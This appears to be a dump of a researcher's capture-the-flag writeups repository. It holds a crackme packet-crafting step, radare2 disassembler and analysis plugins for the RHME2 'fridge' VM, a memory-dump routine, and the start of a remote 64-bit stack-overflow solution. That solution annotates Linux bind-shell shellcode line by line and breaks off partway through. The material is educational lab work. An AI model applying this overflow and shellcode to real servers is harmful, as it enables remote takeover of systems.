nping (https://nmap.org/book/nping-man.html) to send the crafted packet: 318 | 319 | $ nping --send-eth -S 192.168.0.1 --dest-ip 127.0.0.1 --udp -g 17352 -p 34807 --data-string a3b5a9184bd596f3135f69d5439b0251 -e eth0 320 | 321 | And see it congratulate us in the first terminal: 322 | 323 | [+] Good job! 324 | 325 | As a side note, the nping util is part of the nmap package, on ubuntu get it using `apt-get install nmap` 326 | 327 | 328 | External references 329 | ------------------- 330 | 331 | Here are again all the resources i found which are helpful to understand all of the above: 332 | 333 | https://www.kernel.org/doc/Documentation/networking/filter.txt 334 | 335 | https://gist.github.com/ellzey/1111503 336 | 337 | https://en.wikipedia.org/wiki/Ethernet_frame 338 | 339 | https://en.wikipedia.org/wiki/EtherType#Examples 340 | 341 | https://en.wikipedia.org/wiki/IPv4#Header 342 | 343 | https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml 344 | 345 | https://it.wikipedia.org/wiki/User_Datagram_Protocol 346 | 347 | https://nmap.org/book/nping-man.html 348 | 349 | 350 | 351 | -------------------------------------------------------------------------------- /crackmes.de/berkeley/send-packet.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nping --send-eth -S 192.168.0.1 --dest-ip 127.0.0.1 --udp -g 17352 -p 34807 --data-string a3b5a9184bd596f3135f69d5439b0251 -e eth0 4 | 5 | -------------------------------------------------------------------------------- /crackmes.de/berkeley/translate.py: -------------------------------------------------------------------------------- 1 | import struct, sys 2 | 3 | def translate(bfile): 4 | with open(bfile, 'r') as f: 5 | raw = f.read() 6 | 7 | l = len(raw) / 8 8 | 9 | res = [' '.join([str(x) for x in struct.unpack(" 4 | * Licensed under the GNU General Public License, version 2.0 (GPLv2) 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | enum RFridgeOperators { 13 | FRI_OP_NOP, 14 | FRI_OP_PUSH, 15 | FRI_OP_POP, 16 | FRI_OP_MOV, 17 | FRI_OP_MOVL, 18 | FRI_OP_MOVH, 19 | FRI_OP_LOAD, 20 | FRI_OP_STORE, 21 | FRI_OP_ADD, 22 | FRI_OP_SUB, 23 | FRI_OP_XOR, 24 | FRI_OP_AND, 25 | FRI_OP_OR, 26 | FRI_OP_INV, 27 | FRI_OP_LSL, 28 | FRI_OP_LSR, 29 | FRI_OP_ROL, 30 | FRI_OP_ROR, 31 | FRI_OP_CALL, 32 | FRI_OP_RET, 33 | FRI_OP_JMP_IMM, 34 | FRI_OP_JMP_REG, 35 | FRI_OP_CMP, 36 | FRI_OP_JZ_IMM, 37 | FRI_OP_JNZ_IMM, 38 | FRI_OP_JZ_REG, 39 | FRI_OP_JNZ_REG, 40 | FRI_OP_INCHAR, 41 | FRI_OP_OUTCHAR, 42 | FRI_OP_DFAIL, 43 | FRI_OP_TFAIL, 44 | FRI_OP_HLT 45 | }; 46 | 47 | static int get_opsize (ut8 opcode) { 48 | if (opcode == 0 || opcode == 13 || opcode >= 0x1d) { 49 | return 1; 50 | } 51 | if (opcode == 0x14 || opcode == 0x17 || opcode == 0x18) { 52 | return 3; 53 | } 54 | if (opcode == 4 || opcode == 5) { 55 | return 4; 56 | } 57 | return 2; 58 | } 59 | 60 | static int fridge_anal(RAnal *anal, RAnalOp *op, ut64 addr, const ut8 *buf, int len) { 61 | memset (op, '\0', sizeof (RAnalOp)); 62 | op->jump = UT64_MAX; 63 | op->fail = UT64_MAX; 64 | op->ptr = op->val = UT64_MAX; 65 | op->type = R_ANAL_OP_TYPE_UNK; 66 | op->size = get_opsize (buf[0]); 67 | op->addr = addr; 68 | 69 | switch (buf[0]) { 70 | case FRI_OP_RET: 71 | op->type = R_ANAL_OP_TYPE_RET; 72 | break; 73 | case FRI_OP_MOV: 74 | case FRI_OP_MOVL: 75 | case FRI_OP_MOVH: 76 | op->type = R_ANAL_OP_TYPE_MOV; 77 | break; 78 | case FRI_OP_JMP_IMM: 79 | case FRI_OP_JZ_IMM: 80 | case FRI_OP_JNZ_IMM: 81 | if (buf[0] == FRI_OP_JMP_IMM) { 82 | op->type = R_ANAL_OP_TYPE_JMP; 83 | } else { 84 | op->type = R_ANAL_OP_TYPE_CJMP; 85 | op->fail = addr + op->size; 86 | } 87 | 88 | op->jump = (buf[2] | ((ut16) buf[1] << 8)) * 4; 89 | break; 90 | case FRI_OP_ADD: 91 | op->type = R_ANAL_OP_TYPE_ADD; 92 | break; 93 | case FRI_OP_SUB: 94 | op->type = R_ANAL_OP_TYPE_SUB; 95 | break; 96 | case FRI_OP_XOR: 97 | op->type = R_ANAL_OP_TYPE_XOR; 98 | break; 99 | case FRI_OP_AND: 100 | op->type = R_ANAL_OP_TYPE_AND; 101 | break; 102 | case FRI_OP_OR: 103 | op->type = R_ANAL_OP_TYPE_OR; 104 | break; 105 | case FRI_OP_INV: 106 | op->type = R_ANAL_OP_TYPE_NOT; 107 | break; 108 | case FRI_OP_LSL: 109 | op->type = R_ANAL_OP_TYPE_SHL; 110 | break; 111 | case FRI_OP_LSR: 112 | op->type = R_ANAL_OP_TYPE_SHR; 113 | break; 114 | case FRI_OP_ROL: 115 | op->type = R_ANAL_OP_TYPE_ROL; 116 | break; 117 | case FRI_OP_ROR: 118 | op->type = R_ANAL_OP_TYPE_ROR; 119 | break; 120 | case FRI_OP_NOP: 121 | op->type = R_ANAL_OP_TYPE_NOP; 122 | break; 123 | case FRI_OP_LOAD: 124 | op->type = R_ANAL_OP_TYPE_LOAD; 125 | break; 126 | case FRI_OP_STORE: 127 | op->type = R_ANAL_OP_TYPE_STORE; 128 | break; 129 | case FRI_OP_INCHAR: 130 | op->type = R_ANAL_OP_TYPE_IO; 131 | break; 132 | case FRI_OP_OUTCHAR: 133 | op->type = R_ANAL_OP_TYPE_IO; 134 | break; 135 | } 136 | 137 | return op->size; 138 | } 139 | 140 | static int set_reg_profile(RAnal *anal) { 141 | const char *p = 142 | "=PC PC\n" 143 | "=SP SP\n" 144 | "gpr R0 .32 0 0\n" 145 | "gpr R1 .32 4 0\n" 146 | "gpr R2 .32 8 0\n" 147 | "gpr R3 .32 12 0\n" 148 | "gpr R4 .32 16 0\n" 149 | "gpr R5 .32 20 0\n" 150 | "gpr R6 .32 24 0\n" 151 | "gpr R7 .32 28 0\n" 152 | "gpr R8 .32 32 0\n" 153 | "gpr SP .32 24 0\n" 154 | "gpr PC .32 28 0\n" 155 | "gpr BS .32 32 0\n" 156 | "gpr R9 .32 36 0\n" 157 | "gpr R10 .32 40 0\n" 158 | "gpr R11 .32 44 0\n" 159 | "gpr R12 .32 48 0\n" 160 | "gpr R13 .32 52 0\n" 161 | "gpr R14 .32 56 0\n" 162 | "gpr R15 .32 60 0\n"; 163 | return r_reg_set_profile_string (anal->reg, p); 164 | } 165 | 166 | struct r_anal_plugin_t r_anal_plugin_fridge = { 167 | .name = "fridge", 168 | .desc = "RHME2 fridge analysis plugin", 169 | .license = "GPLv2", 170 | .arch = "fridge", 171 | .bits = 32, 172 | .esil = true, 173 | .init = NULL, 174 | .fini = NULL, 175 | .reset_counter = NULL, 176 | .archinfo = NULL, 177 | .op = &fridge_anal, 178 | .bb = NULL, 179 | .fcn = NULL, 180 | .analyze_fns = NULL, 181 | .op_from_buffer = NULL, 182 | .bb_from_buffer = NULL, 183 | .fn_from_buffer = NULL, 184 | .analysis_algorithm = NULL, 185 | .set_reg_profile = &set_reg_profile, 186 | .fingerprint_bb = NULL, 187 | .fingerprint_fcn = NULL, 188 | .diff_bb = NULL, 189 | .diff_fcn = NULL, 190 | .diff_eval = NULL, 191 | .pre_anal = NULL, 192 | .pre_anal_fn_cb = NULL, 193 | .pre_anal_op_cb = NULL, 194 | .post_anal_op_cb = NULL, 195 | .pre_anal_bb_cb = NULL, 196 | .post_anal_bb_cb = NULL, 197 | .post_anal_fn_cb = NULL, 198 | .post_anal = NULL, 199 | .revisit_bb_anal = NULL, 200 | .cmd_ext = NULL, 201 | .esil_init = NULL, 202 | .esil_post_loop = NULL, 203 | .esil_intr = NULL, 204 | .esil_trap = NULL, 205 | .esil_fini = NULL 206 | }; 207 | 208 | #ifndef CORELIB 209 | struct r_lib_struct_t radare_plugin = { 210 | .type = R_LIB_TYPE_ANAL, 211 | .data = &r_anal_plugin_fridge, 212 | .version = R2_VERSION 213 | }; 214 | #endif 215 | -------------------------------------------------------------------------------- /rhme2/fridge-plugin/asm_fridge.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2017 - mrmacete 2 | * Licensed under the GNU General Public License, version 2.0 (GPLv2) 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | enum RFridgeOperators { 10 | FRI_OP_NOP, 11 | FRI_OP_PUSH, 12 | FRI_OP_POP, 13 | FRI_OP_MOV, 14 | FRI_OP_MOVL, 15 | FRI_OP_MOVH, 16 | FRI_OP_LOAD, 17 | FRI_OP_STORE, 18 | FRI_OP_ADD, 19 | FRI_OP_SUB, 20 | FRI_OP_XOR, 21 | FRI_OP_AND, 22 | FRI_OP_OR, 23 | FRI_OP_INV, 24 | FRI_OP_LSL, 25 | FRI_OP_LSR, 26 | FRI_OP_ROL, 27 | FRI_OP_ROR, 28 | FRI_OP_CALL, 29 | FRI_OP_RET, 30 | FRI_OP_JMP_IMM, 31 | FRI_OP_JMP_REG, 32 | FRI_OP_CMP, 33 | FRI_OP_JZ_IMM, 34 | FRI_OP_JNZ_IMM, 35 | FRI_OP_JZ_REG, 36 | FRI_OP_JNZ_REG, 37 | FRI_OP_INCHAR, 38 | FRI_OP_OUTCHAR, 39 | FRI_OP_DFAIL, 40 | FRI_OP_TFAIL, 41 | FRI_OP_HLT 42 | }; 43 | 44 | #define FRI_OP_INVALID 0xff 45 | 46 | static const char * operators[] = { 47 | "NOP", 48 | "PUSH %s", 49 | "POP %s", 50 | "MOV %s, %s", 51 | "MOVL %s, 0x%04x", 52 | "MOVH %s, 0x%04x", 53 | "LD %s, %s", 54 | "ST %s, %s", 55 | "ADD %s, %s", 56 | "SUB %s, %s", 57 | "XOR %s, %s", 58 | "AND %s, %s", 59 | "OR %s, %s", 60 | "INV %s", 61 | "LSL %s, %s", 62 | "LSR %s, %s", 63 | "ROL %s, %s", 64 | "ROR %s, %s", 65 | "CALL %s", 66 | "RET", 67 | "JMP 0x%04x", 68 | "JMP %s", 69 | "CMP %s, %s", 70 | "JZ 0x%04x", 71 | "JNZ 0x%04x", 72 | "JZ %s", 73 | "JNZ %s", 74 | "IN %s", 75 | "OUT %s", 76 | "DFAIL", 77 | "TFAIL", 78 | "HLT" 79 | }; 80 | 81 | static const char * reg_names[] = { 82 | "R0", 83 | "R1", 84 | "R2", 85 | "R3", 86 | "R4", 87 | "R5", 88 | "R6", 89 | "R7", 90 | "R8", 91 | "R9", 92 | "R10", 93 | "R11", 94 | "R12", 95 | "R13", 96 | "R14", 97 | "R15" 98 | }; 99 | 100 | static int get_opsize (ut8 opcode) { 101 | if (opcode == 0 || opcode == 0x13 || opcode >= 0x1d) { 102 | return 1; 103 | } 104 | if (opcode == 0x14 || opcode == 0x17 || opcode == 0x18) { 105 | return 3; 106 | } 107 | if (opcode == 4 || opcode == 5) { 108 | return 4; 109 | } 110 | return 2; 111 | } 112 | 113 | static int count_percents(const char * s) { 114 | int i,j; 115 | for (i=0, j=0; s[i+j]; s[i+j]=='%' ? i++ : j++); 116 | return i; 117 | } 118 | 119 | static int dst_num_restricted(ut8 encoded) { 120 | return (encoded & 0x70) >> 4; 121 | } 122 | 123 | static int dst_num(ut8 encoded) { 124 | return (encoded & 0xf0) >> 4; 125 | } 126 | 127 | static int src_num(ut8 encoded) { 128 | return encoded & 0xf; 129 | } 130 | 131 | static const char * get_reg_name(ut8 reg_num) { 132 | if (reg_num == 6) { 133 | return "SP"; 134 | } 135 | if (reg_num == 7) { 136 | return "PC"; 137 | } 138 | if (reg_num == 8) { 139 | return "BS"; 140 | } 141 | if (reg_num > 15) { 142 | return "INVALID"; 143 | } 144 | return reg_names[reg_num]; 145 | } 146 | 147 | static bool is_dst_restricted (ut8 opcode) { 148 | switch (opcode) { 149 | case FRI_OP_XOR: 150 | return false; 151 | default: 152 | return true; 153 | } 154 | } 155 | 156 | static int disassemble(RAsm *a, RAsmOp *r_op, const ut8 *buf, int len) { 157 | const char *op, *dst, *src; 158 | int opsize = 1; 159 | ut16 imm; 160 | bool restricted; 161 | 162 | if (*buf > 31) { 163 | sprintf (r_op->buf_asm, "invalid"); 164 | return r_op->size = 1; 165 | } 166 | 167 | opsize = get_opsize (buf[0]); 168 | op = operators[*buf]; 169 | restricted = is_dst_restricted (buf[0]); 170 | 171 | switch (opsize) { 172 | case 1: 173 | sprintf (r_op->buf_asm, "%s", op); 174 | break; 175 | case 2: 176 | if (count_percents (op) == 1) { 177 | if (restricted) { 178 | dst = get_reg_name (dst_num_restricted (buf[1])); 179 | } else { 180 | dst = get_reg_name (dst_num (buf[1])); 181 | } 182 | sprintf (r_op->buf_asm, op, dst); 183 | } else { 184 | if (restricted) { 185 | dst = get_reg_name (dst_num_restricted (buf[1])); 186 | } else { 187 | dst = get_reg_name (dst_num (buf[1])); 188 | } 189 | src = get_reg_name (src_num (buf[1])); 190 | sprintf (r_op->buf_asm, op, dst, src); 191 | } 192 | break; 193 | case 3: 194 | imm = (buf[2] | ((ut16) buf[1] << 8)) * 4; 195 | sprintf (r_op->buf_asm, op, imm); 196 | break; 197 | case 4: 198 | imm = buf[3] | ((ut16) buf[2] << 8); 199 | dst = get_reg_name (dst_num_restricted (buf[1])); 200 | sprintf (r_op->buf_asm, op, dst, imm); 201 | break; 202 | default: 203 | break; 204 | } 205 | 206 | return r_op->size = opsize; 207 | } 208 | 209 | /* start of ASSEMBLER code */ 210 | 211 | static void upper_op(char *c) { 212 | if ((c[0] <= 'z') && (c[0] >= 'a')) { 213 | c[0] -= 0x20; 214 | } 215 | } 216 | 217 | static void normalize(char* buf_asm) { 218 | int i; 219 | if (!buf_asm) return; 220 | 221 | /* this normalization step is largely sub-optimal */ 222 | 223 | i = strlen (buf_asm); 224 | r_str_replace_in (buf_asm, (ut32)i, ",", " ", R_TRUE); 225 | while (strstr (buf_asm, " ")) { 226 | r_str_replace_in (buf_asm, (ut32)i, " ", " ", R_TRUE); 227 | } 228 | r_str_do_until_token (upper_op, buf_asm, '\0'); 229 | } 230 | 231 | #define PARSER_MAX_TOKENS 3 232 | 233 | #define PARSE_FAILURE(message, arg...) \ 234 | { eprintf("PARSE FAILURE: "message"\n", ##arg);\ 235 | return -1;} 236 | 237 | #define CMP5(n, x, y, z, w, q) \ 238 | (tok[n][0] == x && tok[n][1] == y && tok[n][2] == z && tok[n][3] == w && tok[n][4] == q) 239 | 240 | #define CMP4(n, x, y, z, w) \ 241 | (tok[n][0] == x && tok[n][1] == y && tok[n][2] == z && tok[n][3] == w) 242 | 243 | #define CMP3(n, x, y, z) \ 244 | (tok[n][0] == x && tok[n][1] == y && tok[n][2] == z) 245 | 246 | #define CMP2(n, x, y) \ 247 | (tok[n][0] == x && tok[n][1] == y) 248 | 249 | #define COPY_AND_RET() \ 250 | opsize = get_opsize (buf[0]);\ 251 | memcpy(op->buf, &buf[0], opsize);\ 252 | op->size = opsize;\ 253 | return 0; 254 | 255 | #define DEFAULT_2REGS_RET() \ 256 | dstnum = assemble_dst_reg (tok[1]);\ 257 | srcnum = assemble_src_reg (tok[2]);\ 258 | buf[1] = dstnum | srcnum;\ 259 | COPY_AND_RET (); 260 | 261 | #define DEFAULT_1REG_RET() \ 262 | dstnum = assemble_dst_reg (tok[1]);\ 263 | buf[1] = dstnum;\ 264 | COPY_AND_RET (); 265 | 266 | static int assemble_reg_name (const char * reg_name) { 267 | if (strncmp(reg_name, "SP", 2) == 0) { 268 | return 6; 269 | } 270 | if (strncmp(reg_name, "PC", 2) == 0) { 271 | return 7; 272 | } 273 | if (strncmp(reg_name, "BS", 2) == 0) { 274 | return 8; 275 | } 276 | eprintf ("Unresolved reg name: %s\n", reg_name); 277 | return -1; 278 | } 279 | 280 | static int assemble_src_reg (const char * reg_name) { 281 | if (isdigit (reg_name[1])) { 282 | return strtol (reg_name + 1, NULL, 10) & 0xf; 283 | } else { 284 | return assemble_reg_name (reg_name) & 0xf; 285 | } 286 | } 287 | 288 | static int assemble_dst_reg (const char * reg_name) { 289 | if (isdigit (reg_name[1])) { 290 | return (strtol (reg_name + 1, NULL, 10) & 0xf) << 4; 291 | } else { 292 | return (assemble_reg_name (reg_name) & 0xf) << 4; 293 | } 294 | } 295 | 296 | static int assemble_tok(RAsm *a, RAsmOp *op, 297 | char *tok[PARSER_MAX_TOKENS], int count) { 298 | char *end; 299 | int oplen = 0; 300 | ut8 buf[4] = {FRI_OP_INVALID,0,0,0}; 301 | int opsize = 0; 302 | int srcnum, dstnum, immval; 303 | 304 | oplen = strnlen(tok[0], 6); 305 | 306 | if (oplen < 2 || oplen > 5) { 307 | PARSE_FAILURE ("mnemonic length not valid"); 308 | } 309 | 310 | if (CMP3 (0, 'M', 'O', 'V') && count == 3) { 311 | if (tok[0][3] == 0) { 312 | buf[0] = FRI_OP_MOV; 313 | DEFAULT_2REGS_RET (); 314 | } else { 315 | if (tok[0][3] == 'L') { 316 | buf[0] = FRI_OP_MOVL; 317 | } else { 318 | buf[0] = FRI_OP_MOVH; 319 | } 320 | dstnum = assemble_dst_reg (tok[1]); 321 | buf[1] = dstnum; 322 | immval = strtol (tok[2], NULL, 0) & 0xffff; 323 | buf[2] = (immval & 0xff00) >> 8; 324 | buf[3] = immval & 0xff; 325 | COPY_AND_RET (); 326 | } 327 | } 328 | 329 | if (CMP2 (0, 'P', 'U') && count == 2) { 330 | buf[0] = FRI_OP_PUSH; 331 | dstnum = assemble_dst_reg (tok[1]); 332 | buf[1] = dstnum; 333 | COPY_AND_RET (); 334 | } 335 | 336 | if (CMP2 (0, 'P', 'O') && count == 2) { 337 | buf[0] = FRI_OP_POP; 338 | dstnum = assemble_dst_reg (tok[1]); 339 | buf[1] = dstnum; 340 | COPY_AND_RET (); 341 | } 342 | 343 | if (CMP2 (0, 'L', 'D') && count == 3) { 344 | buf[0] = FRI_OP_LOAD; 345 | DEFAULT_2REGS_RET (); 346 | } 347 | 348 | if (CMP2 (0, 'S', 'T') && count == 3) { 349 | buf[0] = FRI_OP_STORE; 350 | DEFAULT_2REGS_RET (); 351 | } 352 | 353 | if (CMP2 (0, 'A', 'D') && count == 3) { 354 | buf[0] = FRI_OP_ADD; 355 | DEFAULT_2REGS_RET (); 356 | } 357 | 358 | if (CMP2 (0, 'S', 'U') && count == 3) { 359 | buf[0] = FRI_OP_SUB; 360 | DEFAULT_2REGS_RET (); 361 | } 362 | 363 | if (CMP2 (0, 'X', 'O') && count == 3) { 364 | buf[0] = FRI_OP_XOR; 365 | DEFAULT_2REGS_RET (); 366 | } 367 | 368 | if (CMP2 (0, 'A', 'N') && count == 3) { 369 | buf[0] = FRI_OP_AND; 370 | DEFAULT_2REGS_RET (); 371 | } 372 | 373 | if (CMP2 (0, 'O', 'R') && count == 3) { 374 | buf[0] = FRI_OP_OR; 375 | DEFAULT_2REGS_RET (); 376 | } 377 | 378 | if (CMP3 (0, 'I', 'N', 'V') && count == 2) { 379 | buf[0] = FRI_OP_INV; 380 | DEFAULT_1REG_RET (); 381 | } 382 | 383 | if (CMP3 (0, 'L', 'S', 'L') && count == 3) { 384 | buf[0] = FRI_OP_LSL; 385 | DEFAULT_2REGS_RET (); 386 | } 387 | 388 | if (CMP3 (0, 'L', 'S', 'R') && count == 3) { 389 | buf[0] = FRI_OP_LSR; 390 | DEFAULT_2REGS_RET (); 391 | } 392 | 393 | if (CMP3 (0, 'R', 'O', 'L') && count == 3) { 394 | buf[0] = FRI_OP_ROL; 395 | DEFAULT_2REGS_RET (); 396 | } 397 | 398 | if (CMP3 (0, 'R', 'O', 'R') && count == 3) { 399 | buf[0] = FRI_OP_ROR; 400 | DEFAULT_2REGS_RET (); 401 | } 402 | 403 | if (CMP3 (0, 'C', 'A', 'L') && count == 2) { 404 | buf[0] = FRI_OP_CALL; 405 | DEFAULT_1REG_RET (); 406 | } 407 | 408 | if (CMP2 (0, 'R', 'E')) { 409 | buf[0] = FRI_OP_RET; 410 | COPY_AND_RET (); 411 | } 412 | 413 | if (tok[0][0] == 'J' && count == 2) { 414 | if (tok[1][0] == 'R') { 415 | // is register 416 | if (tok[0][1] == 'M') { 417 | buf[0] = FRI_OP_JMP_REG; 418 | } else if (tok[0][1] == 'Z') { 419 | buf[0] = FRI_OP_JZ_REG; 420 | } else { 421 | buf[0] = FRI_OP_JNZ_REG; 422 | } 423 | DEFAULT_1REG_RET(); 424 | } else { 425 | if (tok[0][1] == 'M') { 426 | buf[0] = FRI_OP_JMP_IMM; 427 | } else if (tok[0][1] == 'Z') { 428 | buf[0] = FRI_OP_JZ_IMM; 429 | } else { 430 | buf[0] = FRI_OP_JNZ_IMM; 431 | } 432 | 433 | immval = strtol (tok[1], NULL, 0); 434 | if ((immval & 3) == 0) { 435 | immval = (immval >> 2) & 0xffff; 436 | buf[1] = (immval & 0xff00) >> 8; 437 | buf[2] = immval & 0xff; 438 | COPY_AND_RET (); 439 | } else { 440 | eprintf ("Unaligned jump\n"); 441 | } 442 | } 443 | } 444 | 445 | if (CMP2 (0, 'C', 'M') && count == 3) { 446 | buf[0] = FRI_OP_CMP; 447 | DEFAULT_2REGS_RET (); 448 | } 449 | 450 | if (CMP3 (0, 'I', 'N', 0) && count == 2) { 451 | buf[0] = FRI_OP_INCHAR; 452 | DEFAULT_1REG_RET (); 453 | } 454 | 455 | if (CMP2 (0, 'O', 'U') && count == 2) { 456 | buf[0] = FRI_OP_OUTCHAR; 457 | DEFAULT_1REG_RET (); 458 | } 459 | 460 | if (CMP2 (0, 'D', 'F')) { 461 | buf[0] = FRI_OP_DFAIL; 462 | COPY_AND_RET (); 463 | } 464 | 465 | if (CMP2 (0, 'T', 'F')) { 466 | buf[0] = FRI_OP_TFAIL; 467 | COPY_AND_RET (); 468 | } 469 | 470 | if (CMP2 (0, 'H', 'L')) { 471 | buf[0] = FRI_OP_HLT; 472 | COPY_AND_RET (); 473 | } 474 | 475 | if (CMP2 (0, 'N', 'O')) { 476 | buf[0] = FRI_OP_NOP; 477 | COPY_AND_RET (); 478 | } 479 | 480 | return -1; 481 | } 482 | 483 | static int assemble(RAsm *a, RAsmOp *op, const char *buf) { 484 | char *tok[PARSER_MAX_TOKENS]; 485 | char tmp[128]; 486 | int i, j, l; 487 | const char *p = NULL; 488 | if (!a || !op || !buf) { 489 | return 0; 490 | } 491 | 492 | strncpy (op->buf_asm, buf, R_ASM_BUFSIZE-1); 493 | op->buf_asm[R_ASM_BUFSIZE-1] = 0; 494 | normalize(op->buf_asm); 495 | 496 | 497 | // tokenization, copied from profile.c 498 | j = 0; 499 | p = op->buf_asm; 500 | 501 | // For every word 502 | while (*p) { 503 | // Skip the whitespace 504 | while (*p == ' ' || *p == '\t') { 505 | p++; 506 | } 507 | // Skip the rest of the line is a comment is encountered 508 | if (*p == ';') { 509 | while (*p != '\0') { 510 | p++; 511 | } 512 | } 513 | // EOL ? 514 | if (*p == '\0') { 515 | break; 516 | } 517 | // Gather a handful of chars 518 | // Use isgraph instead of isprint because the latter considers ' ' printable 519 | for (i = 0; isgraph ((const unsigned char)*p) && i < sizeof(tmp) - 1;) { 520 | tmp[i++] = *p++; 521 | } 522 | tmp[i] = '\0'; 523 | // Limit the number of tokens 524 | if (j > PARSER_MAX_TOKENS - 1) { 525 | break; 526 | } 527 | // Save the token 528 | tok[j++] = strdup (tmp); 529 | } 530 | 531 | if (j) { 532 | if (assemble_tok(a, op, tok, j) < 0) { 533 | eprintf ("ERROR in: %s\n", op->buf_asm); 534 | return -1; 535 | } 536 | 537 | // Clean up 538 | for (i = 0; i < j; i++) { 539 | free(tok[i]); 540 | } 541 | } 542 | 543 | return op->size; 544 | } 545 | 546 | RAsmPlugin r_asm_plugin_fridge = { 547 | .name = "fridge", 548 | .desc = "RHME2 fridge disassembler", 549 | .license = "GPLv2", 550 | .arch = "fridge", 551 | .bits = 32, 552 | .disassemble = &disassemble, 553 | .assemble = &assemble 554 | }; 555 | 556 | #ifndef CORELIB 557 | struct r_lib_struct_t radare_plugin = { 558 | .type = R_LIB_TYPE_ASM, 559 | .data = &r_asm_plugin_fridge, 560 | .version = R2_VERSION 561 | }; 562 | #endif 563 | -------------------------------------------------------------------------------- /rhme2/fridge-plugin/dumpmem.asm: -------------------------------------------------------------------------------- 1 | MOVL R5, 0x0100 2 | 3 | forever: 4 | 5 | XOR BS, BS 6 | XOR BS, R3 7 | LD R2, R0 8 | OUT R2 9 | ADD R3, R5 10 | JMP forever 11 | -------------------------------------------------------------------------------- /rhme2/fridge-plugin/fridge_code.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mrmacete/writeups/7d5f9727950e34ffaf65f128e1e673cd64b34e5f/rhme2/fridge-plugin/fridge_code.bin -------------------------------------------------------------------------------- /rhme2/fridge-plugin/sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mrmacete/writeups/7d5f9727950e34ffaf65f128e1e673cd64b34e5f/rhme2/fridge-plugin/sample.png -------------------------------------------------------------------------------- /samsclass/p13x/README.md: -------------------------------------------------------------------------------- 1 | #Sam's p13x solution 2 | 3 | Here is the original challange page: [https://samsclass.info/127/proj/p13x-64bo-remote.htm](https://samsclass.info/127/proj/p13x-64bo-remote.htm). 4 | 5 | 6 | To the core 7 | ----------- 8 | 9 | This is the vulnerable function: 10 | 11 | ```c 12 | int vuln(char * buffer) 13 | { 14 | char buf[678]; 15 | strcpy(buf, buffer); 16 | } 17 | ``` 18 | 19 | Which is compiled to: 20 | 21 | [0x00400a76 25% 120 p13x]> pd $r @ sym.vuln 22 | ╒ (fcn) sym.vuln 45 23 | │ ; var int local_0_1 @ rbp-0x1 24 | │ ; var int local_86 @ rbp-0x2b0 25 | │ ; var int local_87 @ rbp-0x2b8 26 | │ ; CALL XREF from 0x00400dd1 (sym.vuln) 27 | │ 0x00400a76 55 push rbp 28 | │ 0x00400a77 4889e5 mov rbp, rsp 29 | │ 0x00400a7a 4881ecc00200. sub rsp, 0x2c0 30 | │ 0x00400a81 4889bd48fdff. mov qword [rbp-local_87], rdi 31 | │ 0x00400a88 488b9548fdff. mov rdx, qword [rbp-local_87] 32 | │ 0x00400a8f 488d8550fdff. lea rax, [rbp-local_86] 33 | │ 0x00400a96 4889d6 mov rsi, rdx 34 | │ 0x00400a99 4889c7 mov rdi, rax 35 | │ 0x00400a9c e87ffdffff call sym.imp.strcpy ;[1] 36 | │ ^- sym.imp.strcpy() 37 | │ 0x00400aa1 c9 leave 38 | ╘ 0x00400aa2 c3 ret 39 | 40 | This permits to overflow the buffer because strcpy doesn't check lengths, as long as there arent null bytes in our payload. The allocated buffer is 678 bytes long, leaving us with 4096-768 bytes of overflow, which is pretty much. 41 | 42 | The null byte avoidance requirement prevents us from using direct ROP tecniques because all addresses within the executable virtual address space should be zero-padded. 43 | 44 | Fortunately here the stack is executable: 45 | 46 | :> i~nx 47 | nx false 48 | 49 | We can verify it running a local instance of the server and then querying its maps: 50 | 51 | # cat /proc/`pgrep p13x`/maps | grep rwx 52 | 53 | [...] 54 | 55 | 7fffca43d000-7fffca45e000 rwxp 00000000 00:00 0 [stack] 56 | 57 | Demistifying shellcode 58 | ---------------------- 59 | 60 | So it's time for some old-school shellcoding! Let's ask google "shellcode linux x64", the first result points me to this: 61 | 62 | [http://shell-storm.org/shellcode/files/shellcode-858.php](http://shell-storm.org/shellcode/files/shellcode-858.php) 63 | 64 | Seeing a shellcode for the first time, it can appear scary and overly complex, or even - literally - mystical. In fact, especially in this case, by understanding it line by line it is possible to discover that it is dead simple: 65 | 66 | 67 | ; 0 - zeroing out things 68 | 69 | 400080: 48 31 c0 xor rax,rax 70 | 400083: 48 31 ff xor rdi,rdi 71 | 400086: 48 31 f6 xor rsi,rsi 72 | 400089: 48 31 d2 xor rdx,rdx 73 | 40008c: 4d 31 c0 xor r8,r8 74 | 75 | ; 1 - create a socket 76 | 77 | ; family = 2 78 | 40008f: 6a 02 push 0x2 79 | 400091: 5f pop rdi 80 | 81 | ; type = 1 82 | 400092: 6a 01 push 0x1 83 | 400094: 5e pop rsi 84 | 85 | ; protocol = 6 86 | 400095: 6a 06 push 0x6 87 | 400097: 5a pop rdx 88 | 89 | ; socket(2,1,6) call 90 | 400098: 6a 29 push 0x29 91 | 40009a: 58 pop rax 92 | 40009b: 0f 05 syscall 93 | 94 | ; store the new socket in r8 95 | 40009d: 49 89 c0 mov r8,rax 96 | 97 | 98 | ; 2 - bind the socket to the chosen port 99 | 100 | 101 | ; allocate and zero-out 16 bytes, the space for struct sockaddr: 102 | ; struct sockaddr { 103 | ; sa_family_t sa_family; 104 | ; char sa_data[14]; 105 | ; } 106 | 107 | 4000a0: 4d 31 d2 xor r10,r10 108 | 4000a3: 41 52 push r10 109 | 4000a5: 41 52 push r10 110 | 111 | ; sockaddr.sa_family = 2 112 | 4000a7: c6 04 24 02 mov BYTE PTR [rsp],0x2 113 | 114 | ; sockaddr.sa_data = PORT (BIG ENDIAN) and 0.0.0.0 ip address 115 | 4000ab: 66 c7 44 24 02 PO RT mov WORD PTR [rsp+0x2],RTPO 116 | 4000b2: 48 89 e6 mov rsi,rsp 117 | 118 | ; fd = the socket created in (1) 119 | 4000b5: 41 50 push r8 120 | 4000b7: 5f pop rdi 121 | 122 | ; addrlen = 16 (sizeof(struct sockaddr)) 123 | 4000b8: 6a 10 push 0x10 124 | 4000ba: 5a pop rdx 125 | 126 | ; bind(fd, sockaddr, addrlen) call 127 | 4000bb: 6a 31 push 0x31 128 | 4000bd: 58 pop rax 129 | 4000be: 0f 05 syscall 130 | 